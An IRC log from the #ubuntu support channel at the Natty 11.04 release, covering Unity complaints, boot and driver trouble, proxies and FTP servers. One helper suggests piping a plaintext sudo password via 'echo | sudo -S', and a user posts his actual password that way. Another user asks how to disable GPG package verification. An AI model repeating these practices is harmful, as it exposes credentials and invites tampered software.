[15:28] <noidea693> ah ok, thank you very much
[15:28] <ActionParsnip> SoftTimur: how about if you type it in the address bar of the browser?
[15:29] <vibhav> <NyvenZA>  Screen Resolution?
[15:29] <NyvenZA> I can't use the keyboard in x
[15:29] <NyvenZA> it is a dual screen setup
[15:29] <ActionParsnip> NyvenZA: what video chip do you use?
[15:29] <SERGioooo> schnuffle:  it was a clean installation ver 11.04
[15:29] <NyvenZA> and it uses the NVidea drivers
[15:29] <escott> NyvenZA, nvidia/ati or intel? have you tried an external usb keyboard/have one available
[15:29] <NyvenZA> let me get the res quickly
[15:29] <SoftTimur> ActionParsnip: it does not do anything
[15:29] <usr13> SoftTimur: hit enter
[15:29] <vibhav> <NyvenZA> does it work with one monitor?
[15:29] <SoftTimur> usr13: it does not show anything
[15:30] <escott> gwallace42, at what point in the boot
[15:30] <ActionParsnip> SoftTimur: strange, usually it does: http://www.askdavetaylor.com/1-blog-pics/firefox-about-config.png   something like that
[15:30] <Incarus6> NyvenZA, are you running KDE?
[15:30] <trirnoth> Anyone try to install 11.04 in Parallels (mac vm software) ? whether using the ISO or a burned disc, get's to the actual installation point then states that disc cannot be found.
[15:30] <usr13> SoftTimur: Do you have a warning window come up?
[15:30] <Mehrab_> vibhav : thanks. i'd be quick. I wanna install a package in offline mode and I need dependency list. would you mind running grabpackages.py and send me the result list?
[15:30] <NyvenZA> nope default Unity
[15:30] <Igashu> So, how have peoples' experiences been with in-place updates from 10.10 to 11.04?   I have not had the best experiences with things going smoothly in the past...
[15:30] <ActionParsnip> NyvenZA: remove the proprietary driver, reboot then install the driver and reboot again
[15:30] <NyvenZA> ActionParsnip: I tried that already
[15:30] <ActionParsnip> Igashu: I always clean install
[15:30] <vibhav> <Mehrab_> which package you want to install
[15:30] <usr13> SoftTimur: Maybe you need to restart firefox?
[15:31] <gwallace42> escott: It is attempting to load init_bottom scripts and I get that message
[15:31] <SoftTimur> ActionParsnip: yes I have that, but it is different from what the link shows
[15:31] <maximus_> Does anyone know what command I can use as a keyboard shortcut to Suspend my pc (without su)
[15:31] <escott> SoftTimur, there is no http:// in front of about:config, and you should get a warning where you have to say "I'll be careful"
[15:31] <ActionParsnip> NyvenZA: you may want to run:  sudo nvidia-xconfig   then restart X
[15:31] <Igashu> ActionParsnip, that's my inclination as well
[15:31] <vibhav> <NyvenZA> what is your screen resolution?
[15:31] <Thriky> Is there a trivial way to automatically jump into screen when connecting via ssh? (ie: execute command 'screen')
[15:31] <Mehrab_> vibnav : network-manager-gnome   . nad you can find the script here: http://ubuntuforums.org/showpost.php?p=6924258&postcount=1
[15:31] <escott> gwallace42, does it drop you to a busybox shell?
[15:32] <NyvenZA> in my xorg.conf : Srceen: Metamode CRT-0 Nvidia-auto-select +0+0, CRT-1: nvidia-auto-select +1280+0
[15:32] <SoftTimur> ActionParsnip: well, I see your point
[15:32] <SoftTimur> ActionParsnip: but isn't it odd that I could not launch about:config by Alt+F2 as the link shows?
[15:32] <gwallace42> escott: the last line on the screen is Continue to wait, S to skip mounting or M for manual recovery.  S skips everything in FSTAB, while manual drops me to root prompt on a read only file system.
[15:32] <NyvenZA> ActionParsnip: I am trying that now
[15:32] <SERGioooo> schnuffle:  i just installed ubuntu 11.04
[15:32] <diaoer> hi everyone when i add JAVA_HOME into /etc/environment when i run eclipse it got wrong
[15:32] <maximus_> escott_, hey! you helped me before, was wondering if you know a command I can use to suspend natty without su...want to add it as a keyboard shortcut
[15:33] <gwallace42> escott: have been waiting since I got here, nothing is happening.
[15:33] <vibhav> <NyvenZA> try unity --reset
[15:33] <NyvenZA> vibhav: it looks like it is 1280
[15:33]  * Binary_Wolf is back.
[15:33] <tharsis> escott, your last link works perfectly. Thank you so much
[15:33] <ActionParsnip> SoftTimur: i've never ran it from ALT+F2, always from with the browser
[15:33] <vibhav> <NyvenZA> try it with one monitor....
[15:33] <escott> gwallace42, so you have the busybox shell (M manual recovery open)
[15:33] <gwallace42> Yes
[15:33] <NyvenZA> vibhav: will try that next
[15:33] <escott> gwallace42, and do you know what the / mountpoint is?
[15:33] <gwallace42> escott: sorry, name didn't click..but yes I can get to the shell
[15:33] <SoftTimur> actually, what I am trying to do is... to move the panel on the top of the screen to the right side...
[15:34] <escott> rather what the drive is
[15:34] <NyvenZA> vibhav: I have tried the --reset earlier today and that didn't work either
[15:34] <SoftTimur> does anyone know how to do it?
[15:34] <gwallace42> escott: the mount point is /dev/sda1
[15:34] <schnuffle> SERGioooo: try launching gwibber-service before launching gwibber
[15:34] <Incarus6> ActionParnisp, ah, its opens "about:config" as a link with the default browser, and that was firefox for him
[15:34] <dazappa> I have a lovely samsung netbook, upgraded from 10.10 to 11.04, and the brightness of the LCD is unaffected by changing the brightness. In the live CD of 11.04, this works! Should I try installing from scratch?
[15:34] <escott> gwallace42, (a) is there a /dev/sda1 (b) what are the contents of /proc/partitions (c) can you fsck /dev/sda1
[15:35] <econdudeawesome> Holy cow the Unity desktop interface is a bowl of suckage. How do I get back my normal Gnome2 session where things work, like Docky and Adobe Flash nsflash plugin and compiz?
[15:35] <NyvenZA> holy crap text font on boot up is totly screwed, if I try and boot with just one screen in now
[15:36] <escott> econdudeawesome, ubuntu classic from the gdm login screen (after putting your name in)
[15:36] <usr13> escott: gwallace42   Best not to fsck a running file system.
[15:36] <SERGioooo> schnuffle:  http://paste.ubuntu.com/600788/
[15:36] <escott> usr13, he is in his initrd
[15:36] <inertial> I'll make the effort to try unity for a few days...
[15:36] <usr13> o
[15:36] <econdudeawesome> escott: In Ubuntu classic my metacity won't work, and my gnome menu won't popup with alt+f1
[15:36]  * NyvenZA tries to use the other monitoer olone on startup
[15:37] <maximus_> escott, hey! you helped me before, was wondering if you know a command I can use to suspend natty without su...want to add it as a keyboard shortcut
[15:37] <gwallace42> escott: (a) yes there is a /dev/sda1.  (b) there are 4 entries in /proc/partitions (sda, sda1,sda2, sda5) sda2 has a block count of 1 (c) I ran fsck.ext4 on /dev/sda1 while booted from LiveCD.  Found a couple issues and it fixed them.  Rebooted after and same result.
[15:37] <NyvenZA> ok, only on one screen now and can still not click on anything or use keyboard shortcuts.
[15:37] <escott> maximus_, don't use suspend myself
[15:38] <Fredje> maximus_:  you can try this: echo <password> | sudo -S commando
[15:38] <NyvenZA> CTRL + Alt + F1 does work so I can get to a console at least
[15:38] <step2> maximus_, the menu option doesn't work?
[15:38] <maximus_> escott, ty
[15:38] <schnuffle> SERGioooo: https://bugs.launchpad.net/gwibber/unity-lens-gwibber/+bug/758839
[15:38] <ubottu> Ubuntu bug 758839 in unity "Lens doesn't start on login" [High,Triaged]
[15:38] <escott> usr13, do you know how the initrd transfers into the true root? is it just a bind mount?
[15:38] <maximus_> Fredje, will try that
[15:39] <escott> gwallace42, sda2 is an extended partition with a single logical (sda5 for swap) inside it. blockcount 1 is normal
[15:39] <usr13> escott: I don't know... sorry
[15:39] <maximus_> step2, too lazy to use the mouse every time, when i'm running out the door its cool to have a button to press..my old logitech had one, new kb doesnt
[15:39] <gwallace42> escott: I recognized the others, just not sda2...
[15:39] <usr13> escott: What is he trying to do?
[15:39] <escott> gwallace42, can you check the output of mount to confirm sda1 not mounted
[15:39] <ramb0> Hey, I need some help with natty.. Have just upgraded from maverick and the log in buttons just dissapeared =/ Its like that image but without the password field and the Cancel and Log in buttons.. any advice?
[15:39] <usr13> escott: gwallace42 df
[15:40] <escott> usr13, he is stuck in initrd because drive was not ready
[15:40] <usr13> o
[15:40] <step2> maximus_, there prob is one (but not sure if without su) but I don't know it, maybe google will help :)
[15:40] <maximus_> step2, thanks
[15:40] <Mehrab_> vibhav : network-manager-gnome   . and you can find the script here: http://ubuntuforums.org/showpost.php?p=6924258&postcount=1
[15:40] <escott> gwallace42, sounds like a race in your boot with initrd wanting to mount the rootfs and the pci not being fully initialized. we probably need to put a delay in for your hardware
[15:40] <SoftTimur> hello all, does anyone know how to unlock the top panel and move it in ubuntu 11.04?
[15:41] <escott> gwallace42, confirm that you can mount the sda1 partition with mkdir /mnt/rootfs; mount /dev/sda1 /mnt/rootfs
[15:41] <step2> SoftTimur, you mean with unity?
[15:41] <gwallace42> escott: according to df and /proc/mounts /dev/sda is mounted to /
[15:41] <schneidmaster> Hey, does anyone know how to modify application launchers in natty? (ie, change the command)
[15:41] <SoftTimur> step2: I do not see what is "unity"?
[15:41] <escott> gwallace42, sda or sda1?
[15:42] <step2> SoftTimur, the new default desktop with one panel on top and one on the left
[15:42] <SoftTimur> step2: I just do not like the position of the top panel, I want to put it on the right
[15:42] <escott> gwallace42, can you ls the contents of /home then? do you see your home folder
[15:42] <NyvenZA> vibhav: ok, on one screen teh same thing happens, the icons are just not stretched
[15:42] <gwallace42> escott: i see everything in my /home directory.
[15:42] <step2> SoftTimur, I got that but I need to know what you are using. if you are in unity you can't move it
[15:43] <NyvenZA> I think ramb0 anad I have a similar probblem
[15:43] <escott> gwallace42, hmmm well thats weird
[15:43] <SERGioooo> schnuffle:  so it;'s not yet fixed/
[15:43] <SERGioooo> ?
[15:43] <SoftTimur> step2: what do you mean by "in unity"?
[15:43] <schnuffle> SERGioooo: apparently
[15:43] <HerCury> schneidmaster: here's a related link that might help http://askubuntu.com/questions/34597/how-do-i-make-a-custom-launcher-for-terminal-applications
[15:43] <ramb0> NyvenZA, I didn't read your problem >.< I can't just log in into natty :(
[15:43] <gwallace42> escott: I tried the previous command to mkdir rootfs in /mnt and mount to that, but can';t as fjile system is in read-only mode.
[15:44] <NyvenZA> ramb0: I upgraded and I just get the desktop
[15:44] <NyvenZA> no login
[15:44] <NyvenZA> I can't click on anything and I can't use the keyboardshortcuts
[15:44] <escott> gwallace42, yeah you don't need to do that. i thought sda1 wasn't getting mounted
[15:44] <pension> can someone take a look at http://173.242.126.219/bug.html
[15:44] <slimjimflim> anybody know the best way to install eclipse pdt on ubuntu?
[15:44] <step2> SoftTimur, I told you ... it's a desktop environment that is new with one panel at the left (that autohides) and one on the top. there is still the option to choose the old environment on login
[15:44] <NyvenZA> I do see that if I move my mouse over where the login should be , the edit cursor appreas
[15:44] <step2> !unity
[15:44] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[15:45] <escott> gwallace42, mount -o remount,rw / and see what it says
[15:45] <gwallace42> escott: this is all very odd.
[15:45] <schneidmaster> HerCury: not really actually.  I just want to modify the Skype launcher so it executes the command "webcamWrapper.sh skype" instead of "skype" (as this is the script I used to solve my inverted-webcam bug)
[15:45] <ramb0> NyvenZA, have you tried reinstalling GDM ?
[15:45] <schneidmaster> I could make a custom launcher but then I just have two launchers in unity
[15:46] <nphase> what do you guys suggest for setting up an ftp server?
[15:46] <NyvenZA> not yet,
[15:46] <defiantredpill> vsftpd
[15:46] <step2> schneidmaster, you can remove the other one. making a custom one prob. easier than modifying
[15:46] <NyvenZA> ramb0: have you ?
[15:46] <nphase> defiantredpill: cool thx
[15:46] <nphase> so not proftpd?
[15:47] <escott> gwallace42, if you can remount you could try sudo init 5 to see if you can get to a gui
[15:47] <ramb0> its not my computer which has the problem, it's my uncle's computer, who is in another state :P can't just tell him "reinstall GDM"
[15:47] <maximus_> Fredje, AWESOME! i used      bash -c "echo 559 | sudo -S pm-suspend"    and it works perfectly (= If i ever meet you i'm buying u a beer!
[15:47] <escott> gwallace42, you don't even need the sudo
[15:47] <NyvenZA> lol
[15:47] <schnuffle> nphase: profpd does the job, I use it
[15:48] <NyvenZA> It is my work PC so now I can't work
[15:48] <SoftTimur> step2: I see... is there a quick way to go back to the classic/previous layout?
[15:48] <Fredje> maximus_: Nice that it works for you!
[15:48] <nphase> schnuffle, defiantredpill: proftpd > vsftpd?
[15:48] <maximus_> Fredje, lol yes i just published my password...blonde moment
[15:48] <nodie> hi, I've installed 11.04 this morning and I'm using Unity, I suppose that I've activated some type of keybind and now the bar at the left is always on
[15:48] <escott> gwallace42, i wonder if the device could have been mounted in between the error message and the time it took us to start running commands in the busybox shell
[15:48] <nodie> I want it to appear and disappear
[15:48] <Fredje> maximus_: lol!, I did not even notices:P
[15:49] <escott> gwallace42, have you ever waited to see if the error will disappear on its own?
[15:49] <defiantredpill> vsftpd is what ubuntu recomends in the server guide, i used it before, config is not too bad. never used proftpd
[15:49] <schnuffle> nphase: don't have enough experience with vsftpd o judge
[15:49] <nodie> how can I do that?
[15:49] <Aikar> nodie: if i was gonna keep unity i woulda asked you how you did that, i hate auto hide, but im ditching unity
[15:49] <codebeaker> hi all, why doesn't 11.04 include postgresql 9.x ?
[15:49] <nodie> Aikar, I don't know what I did!
[15:49] <Aikar> ;p;
[15:49] <Aikar> lol
[15:49] <nodie> and I hate it there, it's distracting
[15:49] <schnuffle> nphase: if ubuntu suggests vsftpd then use it
[15:49] <HerCury> nodie: install ccsm and select autohide from unity plugin section
[15:49] <maximus_> Fredje, only have a simple one coz ubuntu wants one...so no biggie. Thanks for ur help. chow
[15:49] <Aikar> sudo apt-get remove unity && sudo apt-get install avant-window-navigator!
[15:50] <nphase> schnuffle: i dont know what it suggests
[15:50] <nodie> HerCury, what is ccsm ??
[15:50] <step2> SoftTimur, choose 'logout' (top right menu i think) then at the login screen there is a bar at the bottom where you can choose
[15:50] <escott> !ccsm | nodie
[15:50] <ubottu> nodie: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[15:50] <schnuffle> nphase:  defiantredpill: vsftpd is what ubuntu recomends in the server guide
[15:50] <dd214> Is there a way in Unity to open multiple terminals?  I have the terminal docked in taskbar, but if I want to open more than one terminal, I've got to use the Unity search to open a new terminal window...
[15:50] <nphase> ok
[15:51] <gwallace42> escott: Waiting gives 2 messages: spaming Maintenance Shell and init: moutall main process terminated with status 3
[15:51] <rigved> dd214: Ctrl+Alt+T
[15:51] <Mehrab_> vibhav : sorry to bother again, but have you got my reply?
[15:51] <defiantredpill> Does anyone know where to find the list of patches in the ubuntu kernel. (not the one big diff)
[15:51] <defiantredpill> https://help.ubuntu.com/10.10/serverguide/C/ftp-server.html
[15:51] <vibhav> <Mehrab_> I was AFK for some time
[15:52] <schneidmaster> I figured it out if anyone cares lol.  Themes&tweaks -> main menu lets you edit launcher commands
[15:52] <t67> In Epiphany when I go to Edit > Personal Data > Passwords, I see nothing, but my passwords DO show up in seahorse.
[15:52] <ramb0> NyvenZA, I have told my uncle to reinstall GDM :p let's see what happens..
[15:52] <NyvenZA> ok, this is just stupid, on reboot, I get my desktop being displayed, but I can't click on the icons, When I move the mouse around, on the screen around the middle of the screen the cursor chnages to the edit icon. So the login windows looks like it is there, but ic an't login to it.
[15:52] <t67> How come Epiphany Edit > Personal Data > Passwords is empty?
[15:52] <gsp2009> good morning folks. Anyone here now running natty, with twinview? is it normal to have the top panel duplicated on both screens?
[15:53] <Dr_Willis> gsp2009:  ive heard that dual screen + unity can be quirky
[15:53] <joru> im running the livecd of 11.04 and suddenly i can only use mouse, no more way of clicking windows etc. ideas?
[15:53] <escott> gwallace42, init 5 didnt do any good?
[15:53] <biffbaxter> Ha...anything with unity can be quirky :)
[15:53] <Fredje> Dr_Willis: Thanks for the info then I will wait with upgrading my laptop
[15:53] <Vhozard> how can I view boot messages ?
[15:53] <gsp2009> Dr_Willis, ok.. thanks.. this is not good news for me..
[15:53] <NyvenZA> Dr_Willis: and gsp2009 I also have issues, but i am trying it on one screen now and still have issues
[15:53] <vibhav> <dd214> right click on terminal and click on "OPen Terminal"
[15:54] <Mehrab_> vibhav : ok, so I repeat: network-manager-gnome   . and you can find the script here: http://ubuntuforums.org/showpost.php?p=6924258&postcount=1
[15:54] <escott> gwallace42, im just curious if you can resume the boot from this point or if it is completely borked
[15:54] <gwallace42> escott: it ran through some options, and dropped me to a terminal login.
[15:54] <step2> Vhozard, depends which ones ... 'dmesg' for one
[15:54] <escott> gwallace42, ok
[15:54] <gsp2009> NyvenZA, everything else works fine for me it seems. Just a little weird having the panel twice.
[15:54] <Vhozard> the one that you see on startup, step2
[15:54] <somethinginteres> Vhozard: dmesg from terminal?
[15:55] <Dr_Willis> http://www.omgubuntu.co.uk/2011/04/become-a-natty-power-user-in-no-time-using-this-unit-keyboard-shortcuts-wallpaper/   Worth checking out for unity beginners
[15:55] <chopin> i think my gvfs on 10.04 is screwed up ... won't connect to a smb share.  anyone know where to look / what to do?
[15:55] <escott> gwallace42, is udevd --daemon running
[15:55] <Vhozard> how can I scroll in it from within terminal?
[15:55] <mikebeecham1> Hi guys...I've removed the recommended nvidia drivers, rebooted and now I have no display. I can get into ttyl...can anyone help me get display back?
[15:55] <gwallace42> escott: Glad I decided to to my master backup of my work data yesterday.  But I hate having to reinstall VBox and winXP again.
[15:55] <Xeli> hello, i'd like to change from kde to unity, can i use the same documentation as when one would switch from kde to gnome?
[15:55] <vibhav> <Mehrab_> I gtg sorry!
[15:55] <usr13> Vhozard: shift PageUp
[15:55] <Vhozard> thanks
[15:55] <v_v> when i use the liveCD  to install 11.04, it supports unity. but the installed ubuntu on my laptop doesn't, how to enable unity ?
[15:56] <escott> gwallace42, well the drive seems fine so you should be able to copy the system image around (if you don't mind moving multi gig files around)
[15:56] <rpk> Can someone tell me how to disable gpg key validation in synaptic?
[15:56] <escott> gwallace42, and i've been told that there is an install option for presevering /home
[15:56] <escott> preserving
[15:56] <Dr_Willis> v_v:  install the unity2d package perhaps.
[15:56] <usr13> rpk: why?
[15:56] <gwallace42> escott: Cant say, my login is not working.  I have logged in on a terminal before, but its not working today .
[15:56] <Dr_Willis> v_v:  or install the proper 3d drivers for the laptop
[15:56] <TA> hi
[15:57] <escott> gwallace42, my suspicious is that the boot is going too fast there seems to be nothing wrong with the drive
[15:57] <rpk> Adding ppa repositories doesn't respect my proxy settings as set through network manager
[15:57] <semitones> so -- what are the common questions that people ask about nattttty
[15:57] <Fredje> TheAnachron: Hi
[15:57] <rpk> And I'm done trying to hack config files to fix it
[15:57] <rpk> usr13: I don't care if my packages are verified, I want it to just work
[15:57] <escott> gwallace42, if it were me I would see if there is some what to slow down the boot process. i know you could do it by gunziping the initrd, and adding a sleep somewhere between when udev starts and the remount happens
[15:57] <escott> gwallace42, there may be a better way though
[15:57] <usr13> rpk: sudo apt-get update
[15:58] <rpk> usr13: GPG error: The following signatures couldn't be veriefied because the public key is not available ....
[15:58] <NyvenZA> arg, why the hell does the kernel source MakeFile file have the wrong version in?
[15:58] <gwallace42> escott: i tried one of the older kernels in grub just to see if it makes a difference, but that didn't.  I may just have to download the image on my laptop and re-install.  I will check grub and see if the is something in there that can slow the boot process.
[15:59] <rpk> usr13: Therefore, I'm fine turning off all of gpg, I just need to know how to disable it
[15:59] <NyvenZA> it has 2.6.38.2 and the kernel that comes with natty is 2.6.38.8
[15:59] <gwallace42> escott: thanks for the help man...appreciate it.  Have a good one
[15:59] <escott> gwallace42, goodluck
[15:59] <NyvenZA> I can't recompile the vboxdrivers now
[15:59] <igor_> hola
[15:59] <semitones> Natty's keyboard is less responsive than maverick's -- anyon equess why?
[15:59] <escott> gwallace42, the initrd process isn't that bad, just annoying, you just unzip, loop mount the file, make your changes and then mkinitrd and replace
[15:59] <igor_> !list
[15:59] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[16:00] <usr13> rpk: Your problem may be in sources.list
[16:00] <rpk> Yes, I often add ppas with add-apt-repository
[16:01] <dennda> When you hit super in unity, it gives you these nice numbers for the apps. That doesn work for Chromium. Is there a fix? Also, how is that number-feature called?
[16:01] <rpk> usr13: because add-apt-repository does not use the proxy settings, it can't handle getting the gpg key
[16:01] <axisys> how do I put lvm on ubuntu desktop ? I do not see LVM option
[16:01] <rpk> usr13: therefore any ppa I have will fail to install / update.  Obviously this makes ubuntu unusable.  Therefore I would like to disable gpg verification of my packages
[16:02] <Rigorm0rtis> Hello. I'm having some trouble with Thunderbird and Unity. I can't access the main menu for the application. Any know what's going on?
[16:02] <usr13> rpk: If your proxy configuration is correct, apt should use it too.
[16:02] <izinucs> axisys: lvm is part of the alternate install cd.. and not on the desktop live cd
[16:02] <ActionParsnip> dennda: works here, clean install natty
[16:02] <lgp171188> Hi, I found in Ubuntu Natty that Gwibber supports only Twitter, Identica and Facebook accounts though actually Gwibber supports more social networks. Why?
[16:02] <DasEi> axisys: use manual partitioning, use extended ones, that sets up lvm
[16:02] <usr13> rpk: Can you ping a valid domain name?   try this;  ping av.com
[16:02] <ActionParsnip> rpk: you may need to add the config in apt.conf
[16:02] <Dr_Willis> lgp171188:  perhaps theres some plugins it needs installed.
[16:03] <exchgr> is anyone else missing a ton of indicator applets?
[16:03] <usr13> rpk: ActionParsnip may be correct.  I don't know.
[16:03] <DasEi> exchgr: I did and switched back to gnome
[16:03] <usr13> rpk: ActionParsnip But I've used a proxy before and never had to do that.
[16:03] <axisys> izinucs: no wonder why I did not see it
[16:03] <exchgr> DasEi, how do I go about doing that?
[16:03] <ActionParsnip> rpk: in /etc/apt/apt.conf.d/proxy     put     Acquire::http::Proxy "http://proxy:8080";
[16:03] <cbart> how do you add applets to the top unity panel?
[16:04] <ouss999> hi
[16:04] <heedlu> cbart: you really can't
[16:04] <axisys> DasEi: i guess with alternate iso correct?
[16:04] <linux> canale in ita
[16:04] <ActionParsnip> usr13: i've hadto add it in the past, then i stopped using proxy
[16:04] <linux> ?
[16:04] <DasEi> exchgr: under powerbutton > set default session > gnome-classic
[16:04] <lgp171188> Dr_Willis: Exactly. I see now that there are packages to add social networks. But I am wondering why these networks which were present, were moved to plugins while Twitter, Identica and facebook escaped? Guess it is due to popularity
[16:04] <heedlu> cbart: they are called indicators now, and they are not the same
[16:04] <Dr_Willis> lgp171188:  and disk space.
[16:04] <exchgr> DasEi, thanks
[16:04] <tjiggi_fo> !it | linux
[16:04] <ubottu> linux: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[16:04] <DasEi> axisys: best, yes, more options there
[16:04] <cbart> great.
[16:04] <ActionParsnip> usr13: rpk: https://answers.launchpad.net/ubuntu/+source/synaptic/+question/1320
[16:04] <usr13> ActionParsnip: I guess not all proxys are equal :(
[16:05] <dennda> ActionParsnip: just did the very same thing
[16:05] <rpk> ActionParsnip: yeah, I'm at work.
[16:05] <axisys> DasEi: are you saying desktop live may have lvm option as well?
[16:05] <NyvenZA> how can i change back to classic login / gui fromthe command line. I can't see the login screen to select it there
[16:05] <ActionParsnip> usr13: i guess, I used polipo, nice and simple
[16:05] <somethinginteres> linux !lang-it
[16:05] <Dr_Willis> NyvenZA:  you could edit the .dmrc file I guess.. but im not sure what belongs in there for classic desktop
[16:05] <wazzup> how can i find out my cpu temp in ubuntu ??
[16:05] <dennda> ActionParsnip: ok i had to restart chromium
[16:05] <cbart> can you atleast change the order of the icons on the left panel?
[16:05] <rpk> ActionParsnip: not sure that applies, we don't have to authenticate, but I added it so I'll see if it works
[16:05] <hodges> Is the Launcher in nutty narwhal fixed or can I move it?
[16:05] <lgp171188> wazzup: You need to install sensors
[16:05] <usr13> ActionParsnip: I see....  Thanks info
[16:05] <wazzup> ok will try
[16:05] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips on how to toggle between front and back panel only?
[16:05] <ActionParsnip> hodges: it's natty, not nutty
[16:06] <lgp171188> wazzup: sensord and sensor-applets
[16:06] <hodges> ActionParsnip, I was close for guessing.
[16:06] <DasEi> axisys: should, if you choose manuall partit. and then set up extended partitons, that will be done with lvm, also if you use default > whole disk, it's lvm
[16:06] <ActionParsnip> hodges: its stuck on the left now, it may be movablelater
[16:06] <gnychis> how can I enable Unity in the Preferences or Administration?
[16:06] <noteventime> Anybody have any idea whether there have been any changes in natty relating to xmodmap? It no longer wants me to disable caps lock.
[16:06] <hodges> thanks
[16:06] <wazzup> lgp171188 : when i search for sensors > i get 100 matches
[16:06] <DasEi> axisys: the alternate gives more options, though
[16:06] <ActionParsnip> dennda: does the button flash if you use thesuper key to launch the app?
[16:06] <mnoyce> I'm getting quite annoyed with applications seemlingly defaulting to opening maximised, e.g. Totem. Is there anyway to turn this maximise behaviour off?
[16:06] <axisys> DasEi: default whole disk is LVM? i did not know that.. will it put /boot on separate slice as well?
[16:07] <rpk> ActionParsnip: actually, my proxy settings are already there from network manager
[16:07] <dennda> ActionParsnip: kind of, yes
[16:07] <lgp171188> wazzup: the package names are 'sensord' and 'sensor-applets'
[16:07] <ActionParsnip> rpk: i see
[16:07] <wazzup> ok
[16:07] <dennda> When you press meta in unity, it brings up this search dialogue. How do you map that to another key combination?
[16:07] <DasEi> axisys: no, boot is under root in default unless you use encryption
[16:07] <tjiggi_fo> wazzup, https://help.ubuntu.com/community/SensorInstallHowto
[16:07] <usr13> ActionParsnip: rpk   It seems to me that if you can ping a valid domain name then the proxy is not the issue.  Am I right in my assumption?
[16:07] <DasEi> axisys: so is home
[16:08] <axisys> DasEi: i use only my home dir encrypted.. so i guess i will be ok
[16:08] <usr13> rpk: Did you try pinging   av.com ?
[16:08] <DasEi> yes
[16:08] <rpk> usr13: no, I can't ping out as well
[16:08] <dennda> The default behavior annoys me to no end
[16:08] <somethinginteres> linux: Ubottu !it
[16:09] <usr13> rpk: Ok.  I'm convinced.  You are on the right track.
[16:09] <rpk> usr13: However, I can get tot the internet through firefox or chrome
[16:09] <Sylphid> usr13, ping would not go through the proxy, it would follow the default route
[16:09] <thebishop> anyone get the Synaptics clickpad to work in Natty?
[16:09] <usr13> Sylphid: Depends on the proxy.
[16:09] <rpk> Sylphid, usr13, yeah afaik thats correct, ping should ignore my proxy
[16:09] <rpk> however, apt-add-repository should not, but does
[16:10] <Vhozard> how can I add vga=xxx to grub ?
[16:10] <ActionParsnip> usr13: ping uses a different protocol so may be different
[16:10] <usr13> Sylphid: There are different types of proxys
[16:10] <ActionParsnip> Vhozard: add it in /etc/default/grub in the quotes with:  quiet splash
[16:10] <rpk> oh, and as an aside, how am I supposed to get to windows under other windows in unity?
[16:10] <ActionParsnip> Vhozard: then run: sudo update-grub
[16:11] <Vhozard> <--- used to editing /boot/grub/menu.lst
[16:11] <Vhozard> :P
[16:11] <koichirose> Hello, I just upgraded to Ubuntu 11.04 and many firefox icons don't show up anymore, including the back button, stop button and the firefox icon itself (!). How do I fix it?
[16:11] <rpk> like if I have this chat windows open with chrome over it, and I get a notification that someone replied
[16:11] <usr13> Sylphid: There is HTTP Proxy  and Transparent Proxy etc.
[16:11] <Sylphid> usr13, ping will only ever go through the proxy if it is also the default route
[16:11] <noteventime> rpk: I think the new bar thing gives you a list of all available windows for each application as a popup (similarly to the way gnome can group similar windows)
[16:11] <rpk> how do i switch back to chat without minimizing chrome
[16:11] <rpk> yeah, but I have two monitors and its all the way on the left
[16:11] <Dr_Willis> rpk:  i just alt-tab a lot.
[16:11] <maximm> how do i support 2 monitors ?
[16:11] <maximm> i can only use one atm since the upgrade
[16:12] <rpk> and with the new bar I have no way to select which specific windows i'd like to open
[16:12] <rpk> either
[16:12] <bl4ckcomb`> maximm, make sure you have the correct display driver
[16:12] <Dr_Willis> rpk:  the omgubuntu blog site has a wallpaper- keyboard shortcuts thing.  may be in there.
[16:12] <rpk> it pretty much sucks right now :(
[16:12] <usr13> Sylphid: With a Transparent Proxy, it will be the default route.
[16:12] <maximm> the other is enabled but unity isn't runnin on it and it is just my wallpaper
[16:12] <Liiin> Hello
[16:12] <bl4ckcomb`> maximm, what card do you use?
[16:12] <rpk> Dr_Willis: already looked at that already
[16:12] <Sylphid> usr13, correct
[16:12] <maximm> i had it setup before it sees my nvidia
[16:12] <Dr_Willis> rpk:  if you have 3 terminals  open and 1 icon. and click on that icon it should do a layout of all 3.
[16:12] <usr13> Sylphid: What he has is probably HTTP proxy.
[16:12] <ActionParsnip> Vhozard: grub2 doesn't use that now, editting the grub file will add the option to all future kernels for you
[16:12] <Sylphid> usr13, agreed
[16:12] <maximm> just no window decorator or menus on the second screen
[16:12] <chadi> Hi. This could be a serious problem. While ubiquity was downloading new packages before installing, i hit skip, and it hanged. What do I do now?
[16:12] <rpk> usr13, ActionParsnip: https://bugs.launchpad.net/software-properties/+bug/443404
[16:13] <ubottu> Ubuntu bug 443404 in Software Properties "gpg doesn't get the right proxy configuration (dup-of: 516032)" [Medium,Confirmed]
[16:13] <ubottu> Ubuntu bug 516032 in software-properties (Ubuntu) "add-apt-repository doesn't work behind a proxy" [Undecided,Fix released]
[16:13] <noteventime> rpk: It doesn't give you a list of available windows when you hover/right-click the relevant icon? (I haven't used Unity a lot, just remember from trying it out when it was new).
[16:13] <bl4ckcomb`> maximm, there is a settings manager for nvidia in apt
[16:13] <maximm> yeah i have it
[16:13] <rpk> usr13, ActionParsnip: http://ubuntuforums.org/showthread.php?t=1593268
[16:13] <maximm> my monitor is enabled
[16:13] <rpk> both of those detail my issue exactly
[16:13] <Liiin> Can the ROOT block an user to set "OTHER USERS" PERMISSION ?
[16:13] <maximm> just no menu or window decorator
[16:13] <sdegutis> /me cant do actions yet :(
[16:13] <shane4ubuntu1> ok, getting more used to unity, when an app is full screen how to I move it to my other screen?
[16:13] <Liiin> I mean example 770 660
[16:13] <Liiin> ALWAYS 0 at the end
[16:13] <dennda> ActionParsnip: altho that feature is kind of buggy i have the feeling
[16:13] <ActionParsnip> rpk: then add the ppa in /etc/apt/sources.list    then manually import the key
[16:13] <Liiin> is it possible?
[16:13] <NyvenZA> ok, I have now tried to install lightdm as a replacement for gdm and when I start it, i just get a black screen
